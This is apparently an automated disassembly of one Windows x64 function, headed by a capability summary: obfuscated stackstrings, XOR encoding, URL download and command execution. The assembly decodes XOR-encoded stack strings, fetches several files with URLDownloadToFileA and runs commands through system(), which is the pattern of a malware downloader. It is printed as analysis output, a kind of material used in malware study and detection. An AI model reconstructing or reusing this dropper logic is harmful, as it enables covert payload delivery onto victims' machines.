Function at 0x140001b80
Capabilities:
Contain obfuscated stackstrings
Download url
Encode data using xor
Execute command
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movdqa xmm0, xmmword [0x1400d8530]
xor ebx, ebx
movdqu xmmword [rsp + 0x30], xmm0
mov ecx, ebx
mov dword [rsp + 0x40], 0x24383a65
mov dword [rsp + 0x44], 0x6a696c67
mov dword [rsp + 0x48], 0x766a743e
mov word [rsp + 0x4c], 0x100
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x1c
jb 0x140001bd0
movdqa xmm0, xmmword [0x1400d8590]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400d8640]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x1400d82d0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x1400d8380]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x1400d8290]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [0x1400d84c0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x1400d8520]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [str.AMJC]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [0x1400d84b0]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [0x1400d8680]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [0x1400d8730]
movdqa xmmword [rbp], xmm0
mov byte [rsp + 0x4d], bl
movdqa xmmword [rbp - 0x10], xmm1
mov dword [rbp + 0x10], 0x8dcccdce
mov word [rbp + 0x14], 0x100
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0xb4
jb 0x140001c85
xor r9d, r9d
mov byte [rbp + 0x15], bl
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm0, xmmword [0x1400d8530]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400d85f0]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x50], 0x77767d36
movdqu xmmword [rsp + 0x40], xmm1
mov word [rsp + 0x54], 0x100
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x24
jb 0x140001cf0
movdqa xmm0, xmmword [0x1400d8590]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400d8640]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x1400d8310]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x1400d82c0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x1400d82a0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [0x1400d8500]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x1400d85c0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x1400d86e0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [str.__rR_n__t_fI]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [0x1400d8690]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [0x1400d86a0]
movdqa xmmword [rbp], xmm0
mov byte [rsp + 0x55], bl
movdqa xmmword [rbp - 0x10], xmm1
mov dword [rbp + 0x10], 0x9b9f9f90
mov dword [rbp + 0x14], 0x96c89a9f
mov dword [rbp + 0x18], 0x95d3d283
mov word [rbp + 0x1c], 0x100
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0xbc
jb 0x140001db3
xor r9d, r9d
mov byte [rbp + 0x1d], bl
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm0, xmmword [0x1400d8360]
mov rcx, rbx
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x6f716d
mov byte [rsp + 0x44], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x13
jb 0x140001e10
movdqa xmm0, xmmword [0x1400d8560]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400d85a0]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rsp + 0x44], bl
movdqa xmm0, xmmword [0x1400d85b0]
movdqu xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x50], 0x4e524c06
movdqu xmmword [rbp + 0x30], xmm1
mov word [rbp + 0x54], 0x100
nop dword [rax + rax]
lea eax, [rcx - 8]
xor byte [rbp + rcx + 0x20], al
inc rcx
cmp rcx, 0x34
jb 0x140001e60
xor r9d, r9d
mov byte [rbp + 0x55], bl
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x20]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm0, xmmword [0x1400d8630]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400d85e0]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x50], 0x253a7c60
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x54], 0x726872
mov byte [rsp + 0x58], 1
lea eax, [rcx - 8]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x27
jb 0x140001ec0
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x58], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d8630]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x484b4c27
mov dword [rsp + 0x44], 0x776b234e
mov dword [rsp + 0x48], 0x7d2c3175
mov dword [rsp + 0x4c], 0x1007961
nop dword [rax]
lea eax, [rbx - 8]
xor byte [rsp + rbx + 0x30], al
inc rbx
cmp rbx, 0x1e
jb 0x140001f10
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x4f], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rbp
ret